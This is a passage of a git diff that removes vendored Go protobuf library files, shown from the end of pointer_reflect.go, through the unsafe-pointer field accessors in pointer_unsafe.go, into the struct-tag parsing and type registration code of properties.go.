(addressable) new element. -func grow(s reflect.Value) reflect.Value { - n, m := s.Len(), s.Cap() - if n < m { - s.SetLen(n + 1) - } else { - s.Set(reflect.Append(s, reflect.Zero(s.Type().Elem()))) - } - return s.Index(n) -} - -func (p pointer) toInt64() *int64 { - return p.v.Interface().(*int64) -} -func (p pointer) toInt64Ptr() **int64 { - return p.v.Interface().(**int64) -} -func (p pointer) toInt64Slice() *[]int64 { - return p.v.Interface().(*[]int64) -} - -var int32ptr = reflect.TypeOf((*int32)(nil)) - -func (p pointer) toInt32() *int32 { - return p.v.Convert(int32ptr).Interface().(*int32) -} - -// The toInt32Ptr/Slice methods don't work because of enums. -// Instead, we must use set/get methods for the int32ptr/slice case. -/* - func (p pointer) toInt32Ptr() **int32 { - return p.v.Interface().(**int32) -} - func (p pointer) toInt32Slice() *[]int32 { - return p.v.Interface().(*[]int32) -} -*/ -func (p pointer) getInt32Ptr() *int32 { - if p.v.Type().Elem().Elem() == reflect.TypeOf(int32(0)) { - // raw int32 type - return p.v.Elem().Interface().(*int32) - } - // an enum - return p.v.Elem().Convert(int32PtrType).Interface().(*int32) -} -func (p pointer) setInt32Ptr(v int32) { - // Allocate value in a *int32. Possibly convert that to a *enum. - // Then assign it to a **int32 or **enum. - // Note: we can convert *int32 to *enum, but we can't convert - // **int32 to **enum! - p.v.Elem().Set(reflect.ValueOf(&v).Convert(p.v.Type().Elem())) -} - -// getInt32Slice copies []int32 from p as a new slice. -// This behavior differs from the implementation in pointer_unsafe.go. -func (p pointer) getInt32Slice() []int32 { - if p.v.Type().Elem().Elem() == reflect.TypeOf(int32(0)) { - // raw int32 type - return p.v.Elem().Interface().([]int32) - } - // an enum - // Allocate a []int32, then assign []enum's values into it. - // Note: we can't convert []enum to []int32. - slice := p.v.Elem() - s := make([]int32, slice.Len()) - for i := 0; i < slice.Len(); i++ { - s[i] = int32(slice.Index(i).Int()) - } - return s -} - -// setInt32Slice copies []int32 into p as a new slice. -// This behavior differs from the implementation in pointer_unsafe.go. -func (p pointer) setInt32Slice(v []int32) { - if p.v.Type().Elem().Elem() == reflect.TypeOf(int32(0)) { - // raw int32 type - p.v.Elem().Set(reflect.ValueOf(v)) - return - } - // an enum - // Allocate a []enum, then assign []int32's values into it. - // Note: we can't convert []enum to []int32. - slice := reflect.MakeSlice(p.v.Type().Elem(), len(v), cap(v)) - for i, x := range v { - slice.Index(i).SetInt(int64(x)) - } - p.v.Elem().Set(slice) -} -func (p pointer) appendInt32Slice(v int32) { - grow(p.v.Elem()).SetInt(int64(v)) -} - -func (p pointer) toUint64() *uint64 { - return p.v.Interface().(*uint64) -} -func (p pointer) toUint64Ptr() **uint64 { - return p.v.Interface().(**uint64) -} -func (p pointer) toUint64Slice() *[]uint64 { - return p.v.Interface().(*[]uint64) -} -func (p pointer) toUint32() *uint32 { - return p.v.Interface().(*uint32) -} -func (p pointer) toUint32Ptr() **uint32 { - return p.v.Interface().(**uint32) -} -func (p pointer) toUint32Slice() *[]uint32 { - return p.v.Interface().(*[]uint32) -} -func (p pointer) toBool() *bool { - return p.v.Interface().(*bool) -} -func (p pointer) toBoolPtr() **bool { - return p.v.Interface().(**bool) -} -func (p pointer) toBoolSlice() *[]bool { - return p.v.Interface().(*[]bool) -} -func (p pointer) toFloat64() *float64 { - return p.v.Interface().(*float64) -} -func (p pointer) toFloat64Ptr() **float64 { - return p.v.Interface().(**float64) -} -func (p pointer) toFloat64Slice() *[]float64 { - return p.v.Interface().(*[]float64) -} -func (p pointer) toFloat32() *float32 { - return p.v.Interface().(*float32) -} -func (p pointer) toFloat32Ptr() **float32 { - return p.v.Interface().(**float32) -} -func (p pointer) toFloat32Slice() *[]float32 { - return p.v.Interface().(*[]float32) -} -func (p pointer) toString() *string { - return p.v.Interface().(*string) -} -func (p pointer) toStringPtr() **string { - return p.v.Interface().(**string) -} -func (p pointer) toStringSlice() *[]string { - return p.v.Interface().(*[]string) -} -func (p pointer) toBytes() *[]byte { - return p.v.Interface().(*[]byte) -} -func (p pointer) toBytesSlice() *[][]byte { - return p.v.Interface().(*[][]byte) -} -func (p pointer) toExtensions() *XXX_InternalExtensions { - return p.v.Interface().(*XXX_InternalExtensions) -} -func (p pointer) toOldExtensions() *map[int32]Extension { - return p.v.Interface().(*map[int32]Extension) -} -func (p pointer) getPointer() pointer { - return pointer{v: p.v.Elem()} -} -func (p pointer) setPointer(q pointer) { - p.v.Elem().Set(q.v) -} -func (p pointer) appendPointer(q pointer) { - grow(p.v.Elem()).Set(q.v) -} - -// getPointerSlice copies []*T from p as a new []pointer. -// This behavior differs from the implementation in pointer_unsafe.go. -func (p pointer) getPointerSlice() []pointer { - if p.v.IsNil() { - return nil - } - n := p.v.Elem().Len() - s := make([]pointer, n) - for i := 0; i < n; i++ { - s[i] = pointer{v: p.v.Elem().Index(i)} - } - return s -} - -// setPointerSlice copies []pointer into p as a new []*T. -// This behavior differs from the implementation in pointer_unsafe.go. -func (p pointer) setPointerSlice(v []pointer) { - if v == nil { - p.v.Elem().Set(reflect.New(p.v.Elem().Type()).Elem()) - return - } - s := reflect.MakeSlice(p.v.Elem().Type(), 0, len(v)) - for _, p := range v { - s = reflect.Append(s, p.v) - } - p.v.Elem().Set(s) -} - -// getInterfacePointer returns a pointer that points to the -// interface data of the interface pointed by p. -func (p pointer) getInterfacePointer() pointer { - if p.v.Elem().IsNil() { - return pointer{v: p.v.Elem()} - } - return pointer{v: p.v.Elem().Elem().Elem().Field(0).Addr()} // *interface -> interface -> *struct -> struct -} - -func (p pointer) asPointerTo(t reflect.Type) reflect.Value { - // TODO: check that p.v.Type().Elem() == t? - return p.v -} - -func atomicLoadUnmarshalInfo(p **unmarshalInfo) *unmarshalInfo { - atomicLock.Lock() - defer atomicLock.Unlock() - return *p -} -func atomicStoreUnmarshalInfo(p **unmarshalInfo, v *unmarshalInfo) { - atomicLock.Lock() - defer atomicLock.Unlock() - *p = v -} -func atomicLoadMarshalInfo(p **marshalInfo) *marshalInfo { - atomicLock.Lock() - defer atomicLock.Unlock() - return *p -} -func atomicStoreMarshalInfo(p **marshalInfo, v *marshalInfo) { - atomicLock.Lock() - defer atomicLock.Unlock() - *p = v -} -func atomicLoadMergeInfo(p **mergeInfo) *mergeInfo { - atomicLock.Lock() - defer atomicLock.Unlock() - return *p -} -func atomicStoreMergeInfo(p **mergeInfo, v *mergeInfo) { - atomicLock.Lock() - defer atomicLock.Unlock() - *p = v -} -func atomicLoadDiscardInfo(p **discardInfo) *discardInfo { - atomicLock.Lock() - defer atomicLock.Unlock() - return *p -} -func atomicStoreDiscardInfo(p **discardInfo, v *discardInfo) { - atomicLock.Lock() - defer atomicLock.Unlock() - *p = v -} - -var atomicLock sync.Mutex diff --git a/vendor/github.com/golang/protobuf/proto/pointer_unsafe.go b/vendor/github.com/golang/protobuf/proto/pointer_unsafe.go deleted file mode 100644 index dbfffe071b..0000000000 --- a/vendor/github.com/golang/protobuf/proto/pointer_unsafe.go +++ /dev/null @@ -1,313 +0,0 @@ -// Go support for Protocol Buffers - Google's data interchange format -// -// Copyright 2012 The Go Authors. All rights reserved. -// https://github.com/golang/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -// +build !purego,!appengine,!js - -// This file contains the implementation of the proto field accesses using package unsafe. - -package proto - -import ( - "reflect" - "sync/atomic" - "unsafe" -) - -const unsafeAllowed = true - -// A field identifies a field in a struct, accessible from a pointer. -// In this implementation, a field is identified by its byte offset from the start of the struct. -type field uintptr - -// toField returns a field equivalent to the given reflect field. -func toField(f *reflect.StructField) field { - return field(f.Offset) -} - -// invalidField is an invalid field identifier. -const invalidField = ^field(0) - -// zeroField is a noop when calling pointer.offset. -const zeroField = field(0) - -// IsValid reports whether the field identifier is valid. -func (f field) IsValid() bool { - return f != invalidField -} - -// The pointer type below is for the new table-driven encoder/decoder. -// The implementation here uses unsafe.Pointer to create a generic pointer. -// In pointer_reflect.go we use reflect instead of unsafe to implement -// the same (but slower) interface. -type pointer struct { - p unsafe.Pointer -} - -// size of pointer -var ptrSize = unsafe.Sizeof(uintptr(0)) - -// toPointer converts an interface of pointer type to a pointer -// that points to the same target. -func toPointer(i *Message) pointer { - // Super-tricky - read pointer out of data word of interface value. - // Saves ~25ns over the equivalent: - // return valToPointer(reflect.ValueOf(*i)) - return pointer{p: (*[2]unsafe.Pointer)(unsafe.Pointer(i))[1]} -} - -// toAddrPointer converts an interface to a pointer that points to -// the interface data. -func toAddrPointer(i *interface{}, isptr, deref bool) (p pointer) { - // Super-tricky - read or get the address of data word of interface value. - if isptr { - // The interface is of pointer type, thus it is a direct interface. - // The data word is the pointer data itself. We take its address. - p = pointer{p: unsafe.Pointer(uintptr(unsafe.Pointer(i)) + ptrSize)} - } else { - // The interface is not of pointer type. The data word is the pointer - // to the data. - p = pointer{p: (*[2]unsafe.Pointer)(unsafe.Pointer(i))[1]} - } - if deref { - p.p = *(*unsafe.Pointer)(p.p) - } - return p -} - -// valToPointer converts v to a pointer. v must be of pointer type. -func valToPointer(v reflect.Value) pointer { - return pointer{p: unsafe.Pointer(v.Pointer())} -} - -// offset converts from a pointer to a structure to a pointer to -// one of its fields. -func (p pointer) offset(f field) pointer { - // For safety, we should panic if !f.IsValid, however calling panic causes - // this to no longer be inlineable, which is a serious performance cost. - /* - if !f.IsValid() { - panic("invalid field") - } - */ - return pointer{p: unsafe.Pointer(uintptr(p.p) + uintptr(f))} -} - -func (p pointer) isNil() bool { - return p.p == nil -} - -func (p pointer) toInt64() *int64 { - return (*int64)(p.p) -} -func (p pointer) toInt64Ptr() **int64 { - return (**int64)(p.p) -} -func (p pointer) toInt64Slice() *[]int64 { - return (*[]int64)(p.p) -} -func (p pointer) toInt32() *int32 { - return (*int32)(p.p) -} - -// See pointer_reflect.go for why toInt32Ptr/Slice doesn't exist. -/* - func (p pointer) toInt32Ptr() **int32 { - return (**int32)(p.p) - } - func (p pointer) toInt32Slice() *[]int32 { - return (*[]int32)(p.p) - } -*/ -func (p pointer) getInt32Ptr() *int32 { - return *(**int32)(p.p) -} -func (p pointer) setInt32Ptr(v int32) { - *(**int32)(p.p) = &v -} - -// getInt32Slice loads a []int32 from p. -// The value returned is aliased with the original slice. -// This behavior differs from the implementation in pointer_reflect.go. -func (p pointer) getInt32Slice() []int32 { - return *(*[]int32)(p.p) -} - -// setInt32Slice stores a []int32 to p. -// The value set is aliased with the input slice. -// This behavior differs from the implementation in pointer_reflect.go. -func (p pointer) setInt32Slice(v []int32) { - *(*[]int32)(p.p) = v -} - -// TODO: Can we get rid of appendInt32Slice and use setInt32Slice instead? -func (p pointer) appendInt32Slice(v int32) { - s := (*[]int32)(p.p) - *s = append(*s, v) -} - -func (p pointer) toUint64() *uint64 { - return (*uint64)(p.p) -} -func (p pointer) toUint64Ptr() **uint64 { - return (**uint64)(p.p) -} -func (p pointer) toUint64Slice() *[]uint64 { - return (*[]uint64)(p.p) -} -func (p pointer) toUint32() *uint32 { - return (*uint32)(p.p) -} -func (p pointer) toUint32Ptr() **uint32 { - return (**uint32)(p.p) -} -func (p pointer) toUint32Slice() *[]uint32 { - return (*[]uint32)(p.p) -} -func (p pointer) toBool() *bool { - return (*bool)(p.p) -} -func (p pointer) toBoolPtr() **bool { - return (**bool)(p.p) -} -func (p pointer) toBoolSlice() *[]bool { - return (*[]bool)(p.p) -} -func (p pointer) toFloat64() *float64 { - return (*float64)(p.p) -} -func (p pointer) toFloat64Ptr() **float64 { - return (**float64)(p.p) -} -func (p pointer) toFloat64Slice() *[]float64 { - return (*[]float64)(p.p) -} -func (p pointer) toFloat32() *float32 { - return (*float32)(p.p) -} -func (p pointer) toFloat32Ptr() **float32 { - return (**float32)(p.p) -} -func (p pointer) toFloat32Slice() *[]float32 { - return (*[]float32)(p.p) -} -func (p pointer) toString() *string { - return (*string)(p.p) -} -func (p pointer) toStringPtr() **string { - return (**string)(p.p) -} -func (p pointer) toStringSlice() *[]string { - return (*[]string)(p.p) -} -func (p pointer) toBytes() *[]byte { - return (*[]byte)(p.p) -} -func (p pointer) toBytesSlice() *[][]byte { - return (*[][]byte)(p.p) -} -func (p pointer) toExtensions() *XXX_InternalExtensions { - return (*XXX_InternalExtensions)(p.p) -} -func (p pointer) toOldExtensions() *map[int32]Extension { - return (*map[int32]Extension)(p.p) -} - -// getPointerSlice loads []*T from p as a []pointer. -// The value returned is aliased with the original slice. -// This behavior differs from the implementation in pointer_reflect.go. -func (p pointer) getPointerSlice() []pointer { - // Super-tricky - p should point to a []*T where T is a - // message type. We load it as []pointer. - return *(*[]pointer)(p.p) -} - -// setPointerSlice stores []pointer into p as a []*T. -// The value set is aliased with the input slice. -// This behavior differs from the implementation in pointer_reflect.go. -func (p pointer) setPointerSlice(v []pointer) { - // Super-tricky - p should point to a []*T where T is a - // message type. We store it as []pointer. - *(*[]pointer)(p.p) = v -} - -// getPointer loads the pointer at p and returns it. -func (p pointer) getPointer() pointer { - return pointer{p: *(*unsafe.Pointer)(p.p)} -} - -// setPointer stores the pointer q at p. -func (p pointer) setPointer(q pointer) { - *(*unsafe.Pointer)(p.p) = q.p -} - -// append q to the slice pointed to by p. -func (p pointer) appendPointer(q pointer) { - s := (*[]unsafe.Pointer)(p.p) - *s = append(*s, q.p) -} - -// getInterfacePointer returns a pointer that points to the -// interface data of the interface pointed by p. -func (p pointer) getInterfacePointer() pointer { - // Super-tricky - read pointer out of data word of interface value. - return pointer{p: (*(*[2]unsafe.Pointer)(p.p))[1]} -} - -// asPointerTo returns a reflect.Value that is a pointer to an -// object of type t stored at p. -func (p pointer) asPointerTo(t reflect.Type) reflect.Value { - return reflect.NewAt(t, p.p) -} - -func atomicLoadUnmarshalInfo(p **unmarshalInfo) *unmarshalInfo { - return (*unmarshalInfo)(atomic.LoadPointer((*unsafe.Pointer)(unsafe.Pointer(p)))) -} -func atomicStoreUnmarshalInfo(p **unmarshalInfo, v *unmarshalInfo) { - atomic.StorePointer((*unsafe.Pointer)(unsafe.Pointer(p)), unsafe.Pointer(v)) -} -func atomicLoadMarshalInfo(p **marshalInfo) *marshalInfo { - return (*marshalInfo)(atomic.LoadPointer((*unsafe.Pointer)(unsafe.Pointer(p)))) -} -func atomicStoreMarshalInfo(p **marshalInfo, v *marshalInfo) { - atomic.StorePointer((*unsafe.Pointer)(unsafe.Pointer(p)), unsafe.Pointer(v)) -} -func atomicLoadMergeInfo(p **mergeInfo) *mergeInfo { - return (*mergeInfo)(atomic.LoadPointer((*unsafe.Pointer)(unsafe.Pointer(p)))) -} -func atomicStoreMergeInfo(p **mergeInfo, v *mergeInfo) { - atomic.StorePointer((*unsafe.Pointer)(unsafe.Pointer(p)), unsafe.Pointer(v)) -} -func atomicLoadDiscardInfo(p **discardInfo) *discardInfo { - return (*discardInfo)(atomic.LoadPointer((*unsafe.Pointer)(unsafe.Pointer(p)))) -} -func atomicStoreDiscardInfo(p **discardInfo, v *discardInfo) { - atomic.StorePointer((*unsafe.Pointer)(unsafe.Pointer(p)), unsafe.Pointer(v)) -} diff --git a/vendor/github.com/golang/protobuf/proto/properties.go b/vendor/github.com/golang/protobuf/proto/properties.go deleted file mode 100644 index a4b8c0cd3a..0000000000 --- a/vendor/github.com/golang/protobuf/proto/properties.go +++ /dev/null @@ -1,544 +0,0 @@ -// Go support for Protocol Buffers - Google's data interchange format -// -// Copyright 2010 The Go Authors. All rights reserved. -// https://github.com/golang/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package proto - -/* - * Routines for encoding data into the wire format for protocol buffers. - */ - -import ( - "fmt" - "log" - "reflect" - "sort" - "strconv" - "strings" - "sync" -) - -const debug bool = false - -// Constants that identify the encoding of a value on the wire. -const ( - WireVarint = 0 - WireFixed64 = 1 - WireBytes = 2 - WireStartGroup = 3 - WireEndGroup = 4 - WireFixed32 = 5 -) - -// tagMap is an optimization over map[int]int for typical protocol buffer -// use-cases. Encoded protocol buffers are often in tag order with small tag -// numbers. -type tagMap struct { - fastTags []int - slowTags map[int]int -} - -// tagMapFastLimit is the upper bound on the tag number that will be stored in -// the tagMap slice rather than its map. -const tagMapFastLimit = 1024 - -func (p *tagMap) get(t int) (int, bool) { - if t > 0 && t < tagMapFastLimit { - if t >= len(p.fastTags) { - return 0, false - } - fi := p.fastTags[t] - return fi, fi >= 0 - } - fi, ok := p.slowTags[t] - return fi, ok -} - -func (p *tagMap) put(t int, fi int) { - if t > 0 && t < tagMapFastLimit { - for len(p.fastTags) < t+1 { - p.fastTags = append(p.fastTags, -1) - } - p.fastTags[t] = fi - return - } - if p.slowTags == nil { - p.slowTags = make(map[int]int) - } - p.slowTags[t] = fi -} - -// StructProperties represents properties for all the fields of a struct. -// decoderTags and decoderOrigNames should only be used by the decoder. -type StructProperties struct { - Prop []*Properties // properties for each field - reqCount int // required count - decoderTags tagMap // map from proto tag to struct field number - decoderOrigNames map[string]int // map from original name to struct field number - order []int // list of struct field numbers in tag order - - // OneofTypes contains information about the oneof fields in this message. - // It is keyed by the original name of a field. - OneofTypes map[string]*OneofProperties -} - -// OneofProperties represents information about a specific field in a oneof. -type OneofProperties struct { - Type reflect.Type // pointer to generated struct type for this oneof field - Field int // struct field number of the containing oneof in the message - Prop *Properties -} - -// Implement the sorting interface so we can sort the fields in tag order, as recommended by the spec. -// See encode.go, (*Buffer).enc_struct. - -func (sp *StructProperties) Len() int { return len(sp.order) } -func (sp *StructProperties) Less(i, j int) bool { - return sp.Prop[sp.order[i]].Tag < sp.Prop[sp.order[j]].Tag -} -func (sp *StructProperties) Swap(i, j int) { sp.order[i], sp.order[j] = sp.order[j], sp.order[i] } - -// Properties represents the protocol-specific behavior of a single struct field. -type Properties struct { - Name string // name of the field, for error messages - OrigName string // original name before protocol compiler (always set) - JSONName string // name to use for JSON; determined by protoc - Wire string - WireType int - Tag int - Required bool - Optional bool - Repeated bool - Packed bool // relevant for repeated primitives only - Enum string // set for enum types only - proto3 bool // whether this is known to be a proto3 field - oneof bool // whether this is a oneof field - - Default string // default value - HasDefault bool // whether an explicit default was provided - - stype reflect.Type // set for struct types only - sprop *StructProperties // set for struct types only - - mtype reflect.Type // set for map types only - MapKeyProp *Properties // set for map types only - MapValProp *Properties // set for map types only -} - -// String formats the properties in the protobuf struct field tag style. -func (p *Properties) String() string { - s := p.Wire - s += "," - s += strconv.Itoa(p.Tag) - if p.Required { - s += ",req" - } - if p.Optional { - s += ",opt" - } - if p.Repeated { - s += ",rep" - } - if p.Packed { - s += ",packed" - } - s += ",name=" + p.OrigName - if p.JSONName != p.OrigName { - s += ",json=" + p.JSONName - } - if p.proto3 { - s += ",proto3" - } - if p.oneof { - s += ",oneof" - } - if len(p.Enum) > 0 { - s += ",enum=" + p.Enum - } - if p.HasDefault { - s += ",def=" + p.Default - } - return s -} - -// Parse populates p by parsing a string in the protobuf struct field tag style. -func (p *Properties) Parse(s string) { - // "bytes,49,opt,name=foo,def=hello!" - fields := strings.Split(s, ",") // breaks def=, but handled below. - if len(fields) < 2 { - log.Printf("proto: tag has too few fields: %q", s) - return - } - - p.Wire = fields[0] - switch p.Wire { - case "varint": - p.WireType = WireVarint - case "fixed32": - p.WireType = WireFixed32 - case "fixed64": - p.WireType = WireFixed64 - case "zigzag32": - p.WireType = WireVarint - case "zigzag64": - p.WireType = WireVarint - case "bytes", "group": - p.WireType = WireBytes - // no numeric converter for non-numeric types - default: - log.Printf("proto: tag has unknown wire type: %q", s) - return - } - - var err error - p.Tag, err = strconv.Atoi(fields[1]) - if err != nil { - return - } - -outer: - for i := 2; i < len(fields); i++ { - f := fields[i] - switch { - case f == "req": - p.Required = true - case f == "opt": - p.Optional = true - case f == "rep": - p.Repeated = true - case f == "packed": - p.Packed = true - case strings.HasPrefix(f, "name="): - p.OrigName = f[5:] - case strings.HasPrefix(f, "json="): - p.JSONName = f[5:] - case strings.HasPrefix(f, "enum="): - p.Enum = f[5:] - case f == "proto3": - p.proto3 = true - case f == "oneof": - p.oneof = true - case strings.HasPrefix(f, "def="): - p.HasDefault = true - p.Default = f[4:] // rest of string - if i+1 < len(fields) { - // Commas aren't escaped, and def is always last. - p.Default += "," + strings.Join(fields[i+1:], ",") - break outer - } - } - } -} - -var protoMessageType = reflect.TypeOf((*Message)(nil)).Elem() - -// setFieldProps initializes the field properties for submessages and maps. -func (p *Properties) setFieldProps(typ reflect.Type, f *reflect.StructField, lockGetProp bool) { - switch t1 := typ; t1.Kind() { - case reflect.Ptr: - if t1.Elem().Kind() == reflect.Struct { - p.stype = t1.Elem() - } - - case reflect.Slice: - if t2 := t1.Elem(); t2.Kind() == reflect.Ptr && t2.Elem().Kind() == reflect.Struct { - p.stype = t2.Elem() - } - - case reflect.Map: - p.mtype = t1 - p.MapKeyProp = &Properties{} - p.MapKeyProp.init(reflect.PtrTo(p.mtype.Key()), "Key", f.Tag.Get("protobuf_key"), nil, lockGetProp) - p.MapValProp = &Properties{} - vtype := p.mtype.Elem() - if vtype.Kind() != reflect.Ptr && vtype.Kind() != reflect.Slice { - // The value type is not a message (*T) or bytes ([]byte), - // so we need encoders for the pointer to this type. - vtype = reflect.PtrTo(vtype) - } - p.MapValProp.init(vtype, "Value", f.Tag.Get("protobuf_val"), nil, lockGetProp) - } - - if p.stype != nil { - if lockGetProp { - p.sprop = GetProperties(p.stype) - } else { - p.sprop = getPropertiesLocked(p.stype) - } - } -} - -var ( - marshalerType = reflect.TypeOf((*Marshaler)(nil)).Elem() -) - -// Init populates the properties from a protocol buffer struct tag. -func (p *Properties) Init(typ reflect.Type, name, tag string, f *reflect.StructField) { - p.init(typ, name, tag, f, true) -} - -func (p *Properties) init(typ reflect.Type, name, tag string, f *reflect.StructField, lockGetProp bool) { - // "bytes,49,opt,def=hello!" - p.Name = name - p.OrigName = name - if tag == "" { - return - } - p.Parse(tag) - p.setFieldProps(typ, f, lockGetProp) -} - -var ( - propertiesMu sync.RWMutex - propertiesMap = make(map[reflect.Type]*StructProperties) -) - -// GetProperties returns the list of properties for the type represented by t. -// t must represent a generated struct type of a protocol message. -func GetProperties(t reflect.Type) *StructProperties { - if t.Kind() != reflect.Struct { - panic("proto: type must have kind struct") - } - - // Most calls to GetProperties in a long-running program will be - // retrieving details for types we have seen before. - propertiesMu.RLock() - sprop, ok := propertiesMap[t] - propertiesMu.RUnlock() - if ok { - return sprop - } - - propertiesMu.Lock() - sprop = getPropertiesLocked(t) - propertiesMu.Unlock() - return sprop -} - -type ( - oneofFuncsIface interface { - XXX_OneofFuncs() (func(Message, *Buffer) error, func(Message, int, int, *Buffer) (bool, error), func(Message) int, []interface{}) - } - oneofWrappersIface interface { - XXX_OneofWrappers() []interface{} - } -) - -// getPropertiesLocked requires that propertiesMu is held. -func getPropertiesLocked(t reflect.Type) *StructProperties { - if prop, ok := propertiesMap[t]; ok { - return prop - } - - prop := new(StructProperties) - // in case of recursive protos, fill this in now. - propertiesMap[t] = prop - - // build properties - prop.Prop = make([]*Properties, t.NumField()) - prop.order = make([]int, t.NumField()) - - for i := 0; i < t.NumField(); i++ { - f := t.Field(i) - p := new(Properties) - name := f.Name - p.init(f.Type, name, f.Tag.Get("protobuf"), &f, false) - - oneof := f.Tag.Get("protobuf_oneof") // special case - if oneof != "" { - // Oneof fields don't use the traditional protobuf tag. - p.OrigName = oneof - } - prop.Prop[i] = p - prop.order[i] = i - if debug { - print(i, " ", f.Name, " ", t.String(), " ") - if p.Tag > 0 { - print(p.String()) - } - print("\n") - } - } - - // Re-order prop.order. - sort.Sort(prop) - - var oots []interface{} - switch m := reflect.Zero(reflect.PtrTo(t)).Interface().(type) { - case oneofFuncsIface: - _, _, _, oots = m.XXX_OneofFuncs() - case oneofWrappersIface: - oots = m.XXX_OneofWrappers() - } - if len(oots) > 0 { - // Interpret oneof metadata. - prop.OneofTypes = make(map[string]*OneofProperties) - for _, oot := range oots { - oop := &OneofProperties{ - Type: reflect.ValueOf(oot).Type(), // *T - Prop: new(Properties), - } - sft := oop.Type.Elem().Field(0) - oop.Prop.Name = sft.Name - oop.Prop.Parse(sft.Tag.Get("protobuf")) - // There will be exactly one interface field that - // this new value is assignable to. - for i := 0; i < t.NumField(); i++ { - f := t.Field(i) - if f.Type.Kind() != reflect.Interface { - continue - } - if !oop.Type.AssignableTo(f.Type) { - continue - } - oop.Field = i - break - } - prop.OneofTypes[oop.Prop.OrigName] = oop - } - } - - // build required counts - // build tags - reqCount := 0 - prop.decoderOrigNames = make(map[string]int) - for i, p := range prop.Prop { - if strings.HasPrefix(p.Name, "XXX_") { - // Internal fields should not appear in tags/origNames maps. - // They are handled specially when encoding and decoding. - continue - } - if p.Required { - reqCount++ - } - prop.decoderTags.put(p.Tag, i) - prop.decoderOrigNames[p.OrigName] = i - } - prop.reqCount = reqCount - - return prop -} - -// A global registry of enum types. -// The generated code will register the generated maps by calling RegisterEnum. - -var enumValueMaps = make(map[string]map[string]int32) - -// RegisterEnum is called from the generated code to install the enum descriptor -// maps into the global table to aid parsing text format protocol buffers. -func RegisterEnum(typeName string, unusedNameMap map[int32]string, valueMap map[string]int32) { - if _, ok := enumValueMaps[typeName]; ok { - panic("proto: duplicate enum registered: " + typeName) - } - enumValueMaps[typeName] = valueMap -} - -// EnumValueMap returns the mapping from names to integers of the -// enum type enumType, or a nil if not found. -func EnumValueMap(enumType string) map[string]int32 { - return enumValueMaps[enumType] -} - -// A registry of all linked message types. -// The string is a fully-qualified proto name ("pkg.Message"). -var ( - protoTypedNils = make(map[string]Message) // a map from proto names to typed nil pointers - protoMapTypes = make(map[string]reflect.Type) // a map from proto names to map types - revProtoTypes = make(map[reflect.Type]string) -) - -// RegisterType is called from generated code and maps from the fully qualified -// proto name to the type (pointer to struct) of the protocol buffer. -func RegisterType(x Message, name string) { - if _, ok := protoTypedNils[name]; ok { - // TODO: Some day, make this a panic. - log.Printf("proto: duplicate proto type registered: %s", name) - return - } - t := reflect.TypeOf(x) - if v := reflect.ValueOf(x); v.Kind() == reflect.Ptr && v.Pointer() == 0 { - // Generated code always calls RegisterType with nil x. - // This check is just for extra safety. - protoTypedNils[name] = x - } else { - protoTypedNils[name] = reflect.Zero(t).Interface().(Message) - } - revProtoTypes[t] = name -} - -// RegisterMapType is called from generated code and maps from the fully qualified -// proto name to the native map type of the proto map definition. -func RegisterMapType(x interface{}, name string) { - if reflect.TypeOf(x).Kind() != reflect.Map { - panic(fmt.Sprintf("RegisterMapType(%T, %q); want map", x, name)) - } - if _, ok := protoMapTypes[name]; ok { - log.Printf("proto: duplicate proto type registered: %s", name) - return - } - t := reflect.TypeOf(x) - protoMapTypes[name] = t - revProtoTypes[t] = name -} - -// MessageName returns the fully-qualified proto name for the given message type. -func MessageName(x Message) string { - type xname interface { - XXX_MessageName() string - } - if m, ok := x.(xname); ok { - return m.XXX_MessageName() - } - return revProtoTypes[reflect.TypeOf(x)] -} - -// MessageType returns the message type (pointer to struct) for a named message. -// The type is not 